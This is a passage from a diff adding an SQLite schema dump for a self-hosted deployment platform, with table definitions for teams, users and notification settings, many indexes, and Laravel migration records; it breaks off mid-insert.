TEXT NOT NULL, + "team_id" INTEGER, + "created_at" TEXT, + "updated_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "team_invitations" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "team_id" INTEGER NOT NULL, + "email" TEXT NOT NULL, + "role" TEXT DEFAULT 'member' NOT NULL, + "link" TEXT NOT NULL, + "via" TEXT DEFAULT 'link' NOT NULL, + "created_at" TEXT, + "updated_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "team_user" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "team_id" INTEGER NOT NULL, + "user_id" INTEGER NOT NULL, + "role" TEXT DEFAULT 'member' NOT NULL, + "created_at" TEXT, + "updated_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "teams" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "name" TEXT NOT NULL, + "description" TEXT, + "personal_team" INTEGER DEFAULT false NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "show_boarding" INTEGER DEFAULT false NOT NULL, + "custom_server_limit" INTEGER +); + +CREATE TABLE IF NOT EXISTS "telegram_notification_settings" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "team_id" INTEGER NOT NULL, + "telegram_enabled" INTEGER DEFAULT false NOT NULL, + "telegram_token" TEXT, + "telegram_chat_id" TEXT, + "deployment_success_telegram_notifications" INTEGER DEFAULT false NOT NULL, + "deployment_failure_telegram_notifications" INTEGER DEFAULT true NOT NULL, + "status_change_telegram_notifications" INTEGER DEFAULT false NOT NULL, + "backup_success_telegram_notifications" INTEGER DEFAULT false NOT NULL, + "backup_failure_telegram_notifications" INTEGER DEFAULT true NOT NULL, + "scheduled_task_success_telegram_notifications" INTEGER DEFAULT false NOT NULL, + "scheduled_task_failure_telegram_notifications" INTEGER DEFAULT true NOT NULL, + "docker_cleanup_success_telegram_notifications" INTEGER DEFAULT false NOT NULL, + "docker_cleanup_failure_telegram_notifications" INTEGER DEFAULT true NOT NULL, + "server_disk_usage_telegram_notifications" INTEGER DEFAULT true NOT NULL, + "server_reachable_telegram_notifications" INTEGER DEFAULT false NOT NULL, + "server_unreachable_telegram_notifications" INTEGER DEFAULT true NOT NULL, + "telegram_notifications_deployment_success_thread_id" TEXT, + "telegram_notifications_deployment_failure_thread_id" TEXT, + "telegram_notifications_status_change_thread_id" TEXT, + "telegram_notifications_backup_success_thread_id" TEXT, + "telegram_notifications_backup_failure_thread_id" TEXT, + "telegram_notifications_scheduled_task_success_thread_id" TEXT, + "telegram_notifications_scheduled_task_failure_thread_id" TEXT, + "telegram_notifications_docker_cleanup_success_thread_id" TEXT, + "telegram_notifications_docker_cleanup_failure_thread_id" TEXT, + "telegram_notifications_server_disk_usage_thread_id" TEXT, + "telegram_notifications_server_reachable_thread_id" TEXT, + "telegram_notifications_server_unreachable_thread_id" TEXT, + "server_patch_telegram_notifications" INTEGER DEFAULT true NOT NULL, + "telegram_notifications_server_patch_thread_id" TEXT, + "telegram_notifications_traefik_outdated_thread_id" TEXT, + "traefik_outdated_telegram_notifications" INTEGER DEFAULT true NOT NULL +); + +CREATE TABLE IF NOT EXISTS "telescope_entries" ( + "sequence" INTEGER NOT NULL, + "uuid" TEXT NOT NULL, + "batch_id" TEXT NOT NULL, + "family_hash" TEXT, + "should_display_on_index" INTEGER DEFAULT true NOT NULL, + "type" TEXT NOT NULL, + "content" TEXT NOT NULL, + "created_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "telescope_entries_tags" ( + "entry_uuid" TEXT NOT NULL, + "tag" TEXT NOT NULL +); + +CREATE TABLE IF NOT EXISTS "telescope_monitoring" ( + "tag" TEXT NOT NULL +); + +CREATE TABLE IF NOT EXISTS "user_changelog_reads" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "user_id" INTEGER NOT NULL, + "release_tag" TEXT NOT NULL, + "read_at" TEXT NOT NULL, + "created_at" TEXT, + "updated_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "users" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "name" TEXT DEFAULT 'Anonymous' NOT NULL, + "email" TEXT NOT NULL, + "email_verified_at" TEXT, + "password" TEXT, + "remember_token" TEXT, + "created_at" TEXT, + "updated_at" TEXT, + "two_factor_secret" TEXT, + "two_factor_recovery_codes" TEXT, + "two_factor_confirmed_at" TEXT, + "force_password_reset" INTEGER DEFAULT false NOT NULL, + "marketing_emails" INTEGER DEFAULT true NOT NULL, + "pending_email" TEXT, + "email_change_code" TEXT, + "email_change_code_expires_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "webhook_notification_settings" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "team_id" INTEGER NOT NULL, + "webhook_enabled" INTEGER DEFAULT false NOT NULL, + "webhook_url" TEXT, + "deployment_success_webhook_notifications" INTEGER DEFAULT false NOT NULL, + "deployment_failure_webhook_notifications" INTEGER DEFAULT true NOT NULL, + "status_change_webhook_notifications" INTEGER DEFAULT false NOT NULL, + "backup_success_webhook_notifications" INTEGER DEFAULT false NOT NULL, + "backup_failure_webhook_notifications" INTEGER DEFAULT true NOT NULL, + "scheduled_task_success_webhook_notifications" INTEGER DEFAULT false NOT NULL, + "scheduled_task_failure_webhook_notifications" INTEGER DEFAULT true NOT NULL, + "docker_cleanup_success_webhook_notifications" INTEGER DEFAULT false NOT NULL, + "docker_cleanup_failure_webhook_notifications" INTEGER DEFAULT true NOT NULL, + "server_disk_usage_webhook_notifications" INTEGER DEFAULT true NOT NULL, + "server_reachable_webhook_notifications" INTEGER DEFAULT false NOT NULL, + "server_unreachable_webhook_notifications" INTEGER DEFAULT true NOT NULL, + "server_patch_webhook_notifications" INTEGER DEFAULT false NOT NULL, + "traefik_outdated_webhook_notifications" INTEGER DEFAULT true NOT NULL +); + +CREATE INDEX IF NOT EXISTS "activity_log_log_name_index" ON "activity_log" (log_name); +CREATE INDEX IF NOT EXISTS "causer" ON "activity_log" (causer_type, causer_id); +CREATE INDEX IF NOT EXISTS "subject" ON "activity_log" (subject_type, subject_id); +CREATE UNIQUE INDEX IF NOT EXISTS "application_deployment_queues_deployment_uuid_unique" ON "application_deployment_queues" (deployment_uuid); +CREATE INDEX IF NOT EXISTS "idx_deployment_queues_app_status_pr_created" ON "application_deployment_queues" (application_id, status, pull_request_id, created_at); +CREATE INDEX IF NOT EXISTS "idx_deployment_queues_status_server" ON "application_deployment_queues" (status, server_id); +CREATE UNIQUE INDEX IF NOT EXISTS "application_previews_fqdn_unique" ON "application_previews" (fqdn); +CREATE UNIQUE INDEX IF NOT EXISTS "application_previews_uuid_unique" ON "application_previews" (uuid); +CREATE INDEX IF NOT EXISTS "applications_destination_type_destination_id_index" ON "applications" (destination_type, destination_id); +CREATE INDEX IF NOT EXISTS "applications_source_type_source_id_index" ON "applications" (source_type, source_id); +CREATE UNIQUE INDEX IF NOT EXISTS "applications_uuid_unique" ON "applications" (uuid); +CREATE INDEX IF NOT EXISTS "idx_cloud_init_scripts_team_id" ON "cloud_init_scripts" (team_id); +CREATE INDEX IF NOT EXISTS "cloud_provider_tokens_team_id_provider_index" ON "cloud_provider_tokens" (team_id, provider); +CREATE UNIQUE INDEX IF NOT EXISTS "cloud_provider_tokens_uuid_unique" ON "cloud_provider_tokens" (uuid); +CREATE INDEX IF NOT EXISTS "idx_cloud_provider_tokens_team_id" ON "cloud_provider_tokens" (team_id); +CREATE UNIQUE INDEX IF NOT EXISTS "discord_notification_settings_team_id_unique" ON "discord_notification_settings" (team_id); +CREATE UNIQUE INDEX IF NOT EXISTS "docker_cleanup_executions_uuid_unique" ON "docker_cleanup_executions" (uuid); +CREATE UNIQUE INDEX IF NOT EXISTS "email_notification_settings_team_id_unique" ON "email_notification_settings" (team_id); +CREATE INDEX IF NOT EXISTS "environment_variables_resourceable_type_resourceable_id_index" ON "environment_variables" (resourceable_type, resourceable_id); +CREATE UNIQUE INDEX IF NOT EXISTS "environments_name_project_id_unique" ON "environments" (name, project_id); +CREATE UNIQUE INDEX IF NOT EXISTS "environments_uuid_unique" ON "environments" (uuid); +CREATE INDEX IF NOT EXISTS "idx_environments_project_id" ON "environments" (project_id); +CREATE UNIQUE INDEX IF NOT EXISTS "failed_jobs_uuid_unique" ON "failed_jobs" (uuid); +CREATE UNIQUE INDEX IF NOT EXISTS "github_apps_uuid_unique" ON "github_apps" (uuid); +CREATE UNIQUE INDEX IF NOT EXISTS "gitlab_apps_uuid_unique" ON "gitlab_apps" (uuid); +CREATE UNIQUE INDEX IF NOT EXISTS "local_file_volumes_mount_path_resource_id_resource_type_unique" ON "local_file_volumes" (mount_path, resource_id, resource_type); +CREATE INDEX IF NOT EXISTS "local_file_volumes_resource_type_resource_id_index" ON "local_file_volumes" (resource_type, resource_id); +CREATE UNIQUE INDEX IF NOT EXISTS "local_persistent_volumes_name_resource_id_resource_type_unique" ON "local_persistent_volumes" (name, resource_id, resource_type); +CREATE INDEX IF NOT EXISTS "local_persistent_volumes_resource_type_resource_id_index" ON "local_persistent_volumes" (resource_type, resource_id); +CREATE UNIQUE INDEX IF NOT EXISTS "oauth_settings_provider_unique" ON "oauth_settings" (provider); +CREATE UNIQUE INDEX IF NOT EXISTS "personal_access_tokens_token_unique" ON "personal_access_tokens" (token); +CREATE INDEX IF NOT EXISTS "personal_access_tokens_tokenable_type_tokenable_id_index" ON "personal_access_tokens" (tokenable_type, tokenable_id); +CREATE INDEX IF NOT EXISTS "idx_private_keys_team_id" ON "private_keys" (team_id); +CREATE UNIQUE INDEX IF NOT EXISTS "private_keys_uuid_unique" ON "private_keys" (uuid); +CREATE INDEX IF NOT EXISTS "idx_projects_team_id" ON "projects" (team_id); +CREATE UNIQUE INDEX IF NOT EXISTS "projects_uuid_unique" ON "projects" (uuid); +CREATE UNIQUE INDEX IF NOT EXISTS "pushover_notification_settings_team_id_unique" ON "pushover_notification_settings" (team_id); +CREATE UNIQUE INDEX IF NOT EXISTS "s3_storages_uuid_unique" ON "s3_storages" (uuid); +CREATE UNIQUE INDEX IF NOT EXISTS "scheduled_database_backup_executions_uuid_unique" ON "scheduled_database_backup_executions" (uuid); +CREATE INDEX IF NOT EXISTS "scheduled_db_backup_executions_backup_id_created_at_index" ON "scheduled_database_backup_executions" (scheduled_database_backup_id, created_at); +CREATE INDEX IF NOT EXISTS "scheduled_database_backups_database_type_database_id_index" ON "scheduled_database_backups" (database_type, database_id); +CREATE UNIQUE INDEX IF NOT EXISTS "scheduled_database_backups_uuid_unique" ON "scheduled_database_backups" (uuid); +CREATE INDEX IF NOT EXISTS "scheduled_task_executions_task_id_created_at_index" ON "scheduled_task_executions" (scheduled_task_id, created_at); +CREATE UNIQUE INDEX IF NOT EXISTS "scheduled_task_executions_uuid_unique" ON "scheduled_task_executions" (uuid); +CREATE UNIQUE INDEX IF NOT EXISTS "scheduled_tasks_uuid_unique" ON "scheduled_tasks" (uuid); +CREATE INDEX IF NOT EXISTS "idx_servers_team_id" ON "servers" (team_id); +CREATE UNIQUE INDEX IF NOT EXISTS "servers_uuid_unique" ON "servers" (uuid); +CREATE UNIQUE INDEX IF NOT EXISTS "service_applications_uuid_unique" ON "service_applications" (uuid); +CREATE UNIQUE INDEX IF NOT EXISTS "service_databases_uuid_unique" ON "service_databases" (uuid); +CREATE INDEX IF NOT EXISTS "services_destination_type_destination_id_index" ON "services" (destination_type, destination_id); +CREATE UNIQUE INDEX IF NOT EXISTS "services_uuid_unique" ON "services" (uuid); +CREATE INDEX IF NOT EXISTS "sessions_last_activity_index" ON "sessions" (last_activity); +CREATE INDEX IF NOT EXISTS "sessions_user_id_index" ON "sessions" (user_id); +CREATE UNIQUE INDEX IF NOT EXISTS "shared_environment_variables_key_environment_id_team_id_unique" ON "shared_environment_variables" (key, environment_id, team_id); +CREATE UNIQUE INDEX IF NOT EXISTS "shared_environment_variables_key_project_id_team_id_unique" ON "shared_environment_variables" (key, project_id, team_id); +CREATE UNIQUE INDEX IF NOT EXISTS "slack_notification_settings_team_id_unique" ON "slack_notification_settings" (team_id); +CREATE INDEX IF NOT EXISTS "standalone_clickhouses_destination_type_destination_id_index" ON "standalone_clickhouses" (destination_type, destination_id); +CREATE UNIQUE INDEX IF NOT EXISTS "standalone_clickhouses_uuid_unique" ON "standalone_clickhouses" (uuid); +CREATE UNIQUE INDEX IF NOT EXISTS "standalone_dockers_server_id_network_unique" ON "standalone_dockers" (server_id, network); +CREATE UNIQUE INDEX IF NOT EXISTS "standalone_dockers_uuid_unique" ON "standalone_dockers" (uuid); +CREATE INDEX IF NOT EXISTS "standalone_dragonflies_destination_type_destination_id_index" ON "standalone_dragonflies" (destination_type, destination_id); +CREATE UNIQUE INDEX IF NOT EXISTS "standalone_dragonflies_uuid_unique" ON "standalone_dragonflies" (uuid); +CREATE INDEX IF NOT EXISTS "standalone_keydbs_destination_type_destination_id_index" ON "standalone_keydbs" (destination_type, destination_id); +CREATE UNIQUE INDEX IF NOT EXISTS "standalone_keydbs_uuid_unique" ON "standalone_keydbs" (uuid); +CREATE INDEX IF NOT EXISTS "standalone_mariadbs_destination_type_destination_id_index" ON "standalone_mariadbs" (destination_type, destination_id); +CREATE UNIQUE INDEX IF NOT EXISTS "standalone_mariadbs_uuid_unique" ON "standalone_mariadbs" (uuid); +CREATE INDEX IF NOT EXISTS "standalone_mongodbs_destination_type_destination_id_index" ON "standalone_mongodbs" (destination_type, destination_id); +CREATE UNIQUE INDEX IF NOT EXISTS "standalone_mongodbs_uuid_unique" ON "standalone_mongodbs" (uuid); +CREATE INDEX IF NOT EXISTS "standalone_mysqls_destination_type_destination_id_index" ON "standalone_mysqls" (destination_type, destination_id); +CREATE UNIQUE INDEX IF NOT EXISTS "standalone_mysqls_uuid_unique" ON "standalone_mysqls" (uuid); +CREATE INDEX IF NOT EXISTS "standalone_postgresqls_destination_type_destination_id_index" ON "standalone_postgresqls" (destination_type, destination_id); +CREATE UNIQUE INDEX IF NOT EXISTS "standalone_postgresqls_uuid_unique" ON "standalone_postgresqls" (uuid); +CREATE INDEX IF NOT EXISTS "standalone_redis_destination_type_destination_id_index" ON "standalone_redis" (destination_type, destination_id); +CREATE UNIQUE INDEX IF NOT EXISTS "standalone_redis_uuid_unique" ON "standalone_redis" (uuid); +CREATE INDEX IF NOT EXISTS "idx_subscriptions_team_id" ON "subscriptions" (team_id); +CREATE UNIQUE INDEX IF NOT EXISTS "swarm_dockers_server_id_network_unique" ON "swarm_dockers" (server_id, network); +CREATE UNIQUE INDEX IF NOT EXISTS "swarm_dockers_uuid_unique" ON "swarm_dockers" (uuid); +CREATE UNIQUE INDEX IF NOT EXISTS "taggable_unique" ON "taggables" (tag_id, taggable_id, taggable_type); +CREATE UNIQUE INDEX IF NOT EXISTS "tags_uuid_unique" ON "tags" (uuid); +CREATE UNIQUE INDEX IF NOT EXISTS "team_invitations_team_id_email_unique" ON "team_invitations" (team_id, email); +CREATE UNIQUE INDEX IF NOT EXISTS "team_invitations_uuid_unique" ON "team_invitations" (uuid); +CREATE UNIQUE INDEX IF NOT EXISTS "team_user_team_id_user_id_unique" ON "team_user" (team_id, user_id); +CREATE UNIQUE INDEX IF NOT EXISTS "telegram_notification_settings_team_id_unique" ON "telegram_notification_settings" (team_id); +CREATE INDEX IF NOT EXISTS "telescope_entries_batch_id_index" ON "telescope_entries" (batch_id); +CREATE INDEX IF NOT EXISTS "telescope_entries_created_at_index" ON "telescope_entries" (created_at); +CREATE INDEX IF NOT EXISTS "telescope_entries_family_hash_index" ON "telescope_entries" (family_hash); +CREATE INDEX IF NOT EXISTS "telescope_entries_type_should_display_on_index_index" ON "telescope_entries" (type, should_display_on_index); +CREATE UNIQUE INDEX IF NOT EXISTS "telescope_entries_uuid_unique" ON "telescope_entries" (uuid); +CREATE INDEX IF NOT EXISTS "telescope_entries_tags_tag_index" ON "telescope_entries_tags" (tag); +CREATE INDEX IF NOT EXISTS "user_changelog_reads_release_tag_index" ON "user_changelog_reads" (release_tag); +CREATE INDEX IF NOT EXISTS "user_changelog_reads_user_id_index" ON "user_changelog_reads" (user_id); +CREATE UNIQUE INDEX IF NOT EXISTS "user_changelog_reads_user_id_release_tag_unique" ON "user_changelog_reads" (user_id, release_tag); +CREATE UNIQUE INDEX IF NOT EXISTS "users_email_unique" ON "users" (email); +CREATE UNIQUE INDEX IF NOT EXISTS "webhook_notification_settings_team_id_unique" ON "webhook_notification_settings" (team_id); + +-- Migration records +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (1, '2014_10_12_000000_create_users_table', 1); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (2, '2014_10_12_100000_create_password_reset_tokens_table', 2); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (3, '2014_10_12_200000_add_two_factor_columns_to_users_table', 3); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (4, '2018_08_08_100000_create_telescope_entries_table', 4); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (5, '2019_12_14_000001_create_personal_access_tokens_table', 5); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (6, '2023_03_20_112410_create_activity_log_table', 6); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (7, '2023_03_20_112411_add_event_column_to_activity_log_table', 7); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (8, '2023_03_20_112412_add_batch_uuid_column_to_activity_log_table', 8); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (9, '2023_03_20_112809_create_sessions_table', 9); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (10, '2023_03_20_112811_create_teams_table', 10); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (11, '2023_03_20_112812_create_team_user_table', 11); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (12, '2023_03_20_112813_create_team_invitations_table', 12); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (13, '2023_03_20_112814_create_instance_settings_table', 13); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (14, '2023_03_24_140711_create_servers_table', 14); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (15, '2023_03_24_140712_create_server_settings_table', 15); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (16, '2023_03_24_140853_create_private_keys_table', 16); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (17, '2023_03_27_075351_create_projects_table', 17); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (18, '2023_03_27_075443_create_project_settings_table', 18); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (19, '2023_03_27_075444_create_environments_table', 19); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (20, '2023_03_27_081716_create_applications_table', 20); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (21, '2023_03_27_081717_create_application_settings_table', 21); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (22, '2023_03_27_081718_create_application_previews_table', 22); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (23, '2023_03_27_083621_create_services_table', 23); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (24, '2023_03_27_085020_create_standalone_dockers_table', 24); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (25, '2023_03_27_085022_create_swarm_dockers_table', 25); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (26, '2023_03_28_062150_create_kubernetes_table', 26); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (27, '2023_03_28_083723_create_github_apps_table', 27); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (28, '2023_03_28_083726_create_gitlab_apps_table', 28); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (29, '2023_04_03_111012_create_local_persistent_volumes_table', 29); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (30, '2023_05_04_194548_create_environment_variables_table', 30); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (31, '2023_05_17_104039_create_failed_jobs_table', 31); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (32, '2023_05_24_083426_create_application_deployment_queues_table', 32); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (33, '2023_06_22_131459_move_wildcard_to_server', 33); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (34, '2023_06_23_084605_remove_wildcard_domain_from_instancesettings', 34); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (35, '2023_06_23_110548_next_channel_updates', 35); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (36, '2023_06_23_114131_change_env_var_value_length', 36); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (37, '2023_06_23_114132_remove_default_redirect_from_instance_settings', 37); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (38, '2023_06_23_114133_use_application_deployment_queues_as_activity', 38); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (39, '2023_06_23_114134_add_disk_usage_percentage_to_servers', 39); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (40, '2023_07_13_115117_create_subscriptions_table', 40); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (41, '2023_07_13_120719_create_webhooks_table', 41); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (42, '2023_07_13_120721_add_license_to_instance_settings', 42); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (43, '2023_07_27_182013_smtp_discord_schemaless_to_normal', 43); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (44, '2023_08_06_142951_add_description_field_to_applications_table', 44); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (45, '2023_08_06_142952_remove_foreignId_environment_variables', 45); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (46, '2023_08_06_142954_add_readonly_localpersistentvolumes', 46); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (47, '2023_08_07_073651_create_s3_storages_table', 47); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (48, '2023_08_07_142950_create_standalone_postgresqls_table', 48); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (49, '2023_08_08_150103_create_scheduled_database_backups_table', 49); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (50, '2023_08_10_113306_create_scheduled_database_backup_executions_table', 50); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (51, '2023_08_10_201311_add_backup_notifications_to_teams', 51); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (52, '2023_08_11_190528_add_dockerfile_to_applications_table', 52); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (53, '2023_08_15_095902_create_waitlists_table', 53); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (54, '2023_08_15_111125_update_users_table', 54); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (55, '2023_08_15_111126_update_servers_add_unreachable_count_table', 55); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (56, '2023_08_22_071048_add_boarding_to_teams', 56); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (57, '2023_08_22_071049_update_webhooks_type', 57); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (58, '2023_08_22_071050_update_subscriptions_stripe', 58); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (59, '2023_08_22_071051_add_stripe_plan_to_subscriptions', 59); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (60, '2023_08_22_071052_add_resend_as_email', 60); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (61, '2023_08_22_071053_add_resend_as_email_to_teams', 61); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (62, '2023_08_22_071054_add_stripe_reasons', 62); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (63, '2023_08_22_071055_add_discord_notifications_to_teams', 63); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (64, '2023_08_22_071056_update_telegram_notifications', 64); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (65, '2023_08_22_071057_add_nixpkgsarchive_to_applications', 65); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (66, '2023_08_22_071058_add_nixpkgsarchive_to_applications_remove', 66); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (67, '2023_08_22_071059_add_stripe_trial_ended', 67); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (68, '2023_08_22_071060_change_invitation_link_length', 68); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (69, '2023_09_20_082541_update_services_table', 69); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (70, '2023_09_20_082733_create_service_databases_table', 70); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (71, '2023_09_20_082737_create_service_applications_table', 71); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (72, '2023_09_20_083549_update_environment_variables_table', 72); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (73, '2023_09_22_185356_create_local_file_volumes_table', 73); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (74, '2023_09_23_111808_update_servers_with_cloudflared', 74); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (75, '2023_09_23_111809_remove_destination_from_services_table', 75); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (76, '2023_09_23_111811_update_service_applications_table', 76); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (77, '2023_09_23_111812_update_service_databases_table', 77); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (78, '2023_09_23_111813_update_users_databases_table', 78); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (79, '2023_09_23_111814_update_local_file_volumes_table', 79); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (80, '2023_09_23_111815_add_healthcheck_disable_to_apps_table', 80); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (81, '2023_09_23_111816_add_destination_to_services_table', 81); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (82, '2023_09_23_111817_use_instance_email_settings_by_default', 82); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (83, '2023_09_23_111818_set_notifications_on_by_default', 83); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (84, '2023_09_23_111819_add_server_emails', 84); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (85, '2023_10_08_111819_add_server_unreachable_count', 85); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (86, '2023_10_10_100320_update_s3_storages_table', 86); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (87, '2023_10_10_113144_add_dockerfile_location_applications_table', 87); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (88, '2023_10_12_132430_create_standalone_redis_table', 88); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (89, '2023_10_12_132431_add_standalone_redis_to_environment_variables_table', 89); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (90, '2023_10_12_132432_add_database_selection_to_backups', 90); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (91, '2023_10_18_072519_add_custom_labels_applications_table', 91); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (92, '2023_10_19_101331_create_standalone_mongodbs_table', 92); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (93, '2023_10_19_101332_add_standalone_mongodb_to_environment_variables_table', 93); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (94, '2023_10_24_103548_create_standalone_mysqls_table', 94); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (95, '2023_10_24_120523_create_standalone_mariadbs_table', 95); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (96, '2023_10_24_120524_add_standalone_mysql_to_environment_variables_table', 96); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (97, '2023_10_24_124934_add_is_shown_once_to_environment_variables_table', 97); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (98, '2023_11_01_100437_add_restart_to_deployment_queue', 98); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (99, '2023_11_07_123731_add_target_build_dockerfile', 99); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (100, '2023_11_08_112815_add_custom_config_standalone_postgresql', 100); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (101, '2023_11_09_133332_add_public_port_to_service_databases', 101); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (102, '2023_11_12_180605_change_fqdn_to_longer_field', 102); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (103, '2023_11_13_133059_add_sponsorship_disable', 103); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (104, '2023_11_14_103450_add_manual_webhook_secret', 104); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (105, '2023_11_14_121416_add_git_type', 105); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (106, '2023_11_16_101819_add_high_disk_usage_notification', 106); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (107, '2023_11_16_220647_add_log_drains', 107); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (108, '2023_11_17_160437_add_drain_log_enable_by_service', 108); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (109, '2023_11_20_094628_add_gpu_settings', 109); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (110, '2023_11_21_121920_add_additional_destinations_to_apps', 110); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (111, '2023_11_24_080341_add_docker_compose_location', 111); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (112, '2023_11_28_143533_add_fields_to_swarm_dockers', 112); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (113, '2023_11_29_075937_change_swarm_properties', 113); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (114, '2023_12_01_091723_save_logs_view_settings', 114); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (115, 